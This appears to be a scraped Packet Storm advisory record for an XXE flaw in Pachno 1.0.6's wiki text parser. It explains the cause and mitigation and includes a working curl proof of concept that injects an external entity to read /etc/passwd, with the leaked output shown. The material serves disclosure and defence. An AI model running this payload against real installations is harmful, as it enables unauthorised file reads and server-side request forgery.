{“lastseen”:”2026-04-13T17:45:00″,”description”:”Pachno version 1.0.6 suffers from an XML eXternal Entity XXE vulnerability in the wiki textparser…”,”published”:”2026-04-13T00:00:00″,”modified”:”2026-04-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Pachno 1.0.6 Wiki TextParser XML Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:218858″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”Pachno 1.0.6 Wiki TextParser XXE Vulnerability\\n \\n \\n Vendor: Daniel Andr\u00e9 Eikeland\\n Product web page: https:\/\/github.com\/pachno\/pachno\\n Affected version: 1.0.6\\n \\n Summary: Pachno is an open-source collaboration platform (formerly known as The Bug Genie)\\n designed for team project management, issue tracking, and documentation. It offers a module-based,\\n customizable environment for software development and team workflows, distributed under the\\n Mozilla Public License.\\n \\n Desc: Input passed via wiki table syntax ({|…, |-…, |…||…) and allowed inline tags\\n (\\u003cspan\\u003e, \\u003cdiv\\u003e, \\u003cblockquote\\u003e, etc.) in issue descriptions, comments, and wiki articles is\\n concatenated into XML strings and parsed by simplexml_load_string() in the TextParser helper\\n without setting LIBXML_NONET or otherwise restricting entity resolution. On PHP installations\\n linked against libxml2 \\u003c 2.9.0 (where external entity loading is enabled by default), this\\n can be exploited to read arbitrary local files via the file:\/\/ scheme, perform server-side\\n request forgery against internal services via the http:\/\/ scheme, and exfiltrate the response\\n body through reflected XML attribute values. Successful exploitation requires an authenticated\\n session with permission to create or edit content that is rendered through the wiki parser.\\n On PHP 7.4+ installations with libxml2 \\u003e= 2.9.0 the vulnerability is mitigated by the underlying\\n library but the unsafe code pattern remains.\\n \\n Tested on: GNU\/Linux\\n Apache2\\n PHP\/7.4\\n MySQL\/5.7 (MariaDB)\\n \\n \\n Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\n @zeroscience\\n \\n \\n Advisory ID: ZSL-2026-5984\\n Advisory URL: https:\/\/www.zeroscience.mk\/#\/advisories\/ZSL-2026-5984\\n \\n \\n 06.04.2026\\n \\n –\\n \\n \\n $ curl -v -b cookies.txt -X POST \\”http:\/\/127.0.0.1\/docs\/r\/4\/edit\\” \\\\\\n –data-urlencode ‘article_content={|\\u003c!DOCTYPE x [\\u003c!ENTITY xxe SYSTEM \\”file:\/\/\/etc\/passwd\\”\\u003e]\\u003e class=\\”wikitable \\u0026xxe;\\” \\\\\\n |-\\\\\\n | ZSL\\\\\\n |}’\\n \\n \\n $ curl -s -b cookies.txt \\”http:\/\/127.0.0.1\/docs\/4\/article-name\\” | grep -o ‘class=\\”wikitable [^\\”]*\\”‘\\n root:x:0:0:root:\/root:\/bin\/bash\\n …”,”sourceHref”:”https:\/\/packetstorm.news\/download\/218858″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/218858\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-13T17:45:00″,”description”:”Pachno version 1.0.6 suffers from an XML eXternal Entity XXE vulnerability in the wiki textparser…”,”published”:”2026-04-13T00:00:00″,”modified”:”2026-04-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Pachno 1.0.6 Wiki TextParser XML Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:218858″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”Pachno 1.0.6 Wiki TextParser XXE…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-46370","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n